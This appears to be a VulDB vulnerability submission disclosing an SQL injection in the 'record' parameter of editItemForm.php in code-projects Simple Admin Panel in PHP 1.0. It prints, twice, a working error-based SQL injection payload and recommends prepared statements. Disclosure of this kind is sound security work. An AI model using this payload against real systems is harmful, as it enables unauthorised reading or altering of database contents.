| Titre | code-projects Simple Admin Panel In PHP 1.00 SQL Injection |
|---|
| Description | The SQL Injection vulnerability exists in file 'editItemForm.php' because the 'record' parameter is directly inserted into the SQL queries without any validation or sanitization. If an attacker inputs malicious SQL code as the 'record' parameter, it will be executed by the database. For example, if the 'record' parameter is set to "1' AND (SELECT 6189 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(6189=6189,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bmxZ", it could manipulate the query to return or modify unintended data. Always use prepared statements or parameterized queries to prevent this.
payload:
1' AND (SELECT 6189 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(6189=6189,1))),0x716a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bmxZ |
|---|
| La source | ⚠️ https://code-projects.org/simple-admin-panel-in-php-with-source-code/ |
|---|
| Utilisateur | Fergod (UID 55882) |
|---|
| Soumission | 24/12/2024 00:13 (il y a 1 Année) |
|---|
| Modérer | 25/12/2024 16:04 (2 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 289288 [code-projects Simple Admin Panel 1.0 editItemForm.php record injection SQL] |
|---|
| Points | 20 |
|---|